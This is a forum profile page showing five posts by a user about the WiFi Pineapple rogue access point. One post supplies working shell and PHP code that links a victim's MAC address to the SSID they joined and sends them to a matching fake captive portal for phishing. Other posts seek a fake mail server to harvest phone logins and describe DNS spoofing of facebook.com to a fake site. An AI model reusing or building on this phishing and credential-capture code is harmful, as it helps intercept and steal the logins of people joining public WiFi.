Jump to content

TouF

Active Members
  • Posts

    5
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

TouF's Achievements

Newbie

Newbie (1/14)

  1. these are great tools but they still need a computer attatched to the pineapple. i'd like to recreate a true server embeded on the pineapple to allow direct connection. any other idea ?
  2. Hi, once you have users automatically connecting threw your pinneapple, most phone automatically check for their mails. i'd like to create a fake mail server to capture login/pass just a simple HELO, USER, PASS, 250 OK kind of stuff what would be the easiest way to do it ? i've tried to set it up with perl but i couldn't install all the perl packages due to the lack of space. do you have any lead ?
  3. dns spoof allows you to redirect some adress to an other one. it could be use to redirect www.facebook.com to 172.16.42.1 so that you could put up a fake web site. NGrep allows you to analyse the streams that goes threw your pineapple and extract interresting datas.
  4. Hi, i've been looking to make a specialy crafted Captiv-portal plateform, where i could direct the user depending on the SSID he connected to. has i finaly succeded, i though someone could find this usefull It's been quite a while since i last programmed anything, so sorry for the ugly code ;) first, you need to find a way to match an SSID and the IP of our victim. you'll find a list of the SSID/victim-MAC in the karma log file. you'll find a list of the victime-MAC/Victime-IP in the dhcp.leases log file so i added a line in the "/www/pineapple/update-associations.sh" in the "do" loop grep "KARMA: Probe request from" /tmp/karma.log |uniq > www/pineapple/mactossid.log then i edited the "redirect.php" page $ref = $_SERVER['HTTP_REFERER']; $user_ip = $_SERVER['REMOTE_ADDR']; $good_essid="nossid"; $handle1 = fopen("/tmp/dhcp.leases",r); while($userinfo = fscanf($handle1, "%s\t%s\t%s\t%s\t%s\n")) { list ($id, $mac, $ip, $client_name, $assigned_mac) = $userinfo; if($ip==$user_ip) //Find the user IP in the DHCP_lease { $handle2 = fopen("/www/pineapple/mactossid.log","a+"); while($userinfo2 = fscanf($handle2, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n")) { list ($a1,$a2,$a3,$a4,$mac_addr,$a6,$a7,$essid) = $userinfo2; $essid=str_replace("'","",$essid); if($mac==$mac_addr) //Get the last occurence of the victime asking to connect to karma { $good_essid=$essid; } } } } if($good_essid!="nossid") { //echo "essid=$good_essid ! <BR>"; //send to the right captiv portal if($good_essid=="FreeWifi"){ header('Location: freewifi.htm'); } if($good_essid=="Other Free Wifi"){ header('Location: blabla_wifi.htm'); } if($good_essid=="Coffe Free Wifi"){ header('Location: wifi_coffee.htm'); } } // The below line checks the referring address and forwards the browser to the phishing page. if (strpos($ref, "example")) { header('Location: example.html'); } // If no match is found the following page will be loaded instead. require('default.html'); ?> if you know some ways to do this more efficiently, please add a comment. have fun :P
  5. Hi, i was wondering if it was possible to match a user to the essid he connected with so that i could redirect him to a specific captiv portal. is jasager keeping that information somewhere ?
×
×
  • Create New...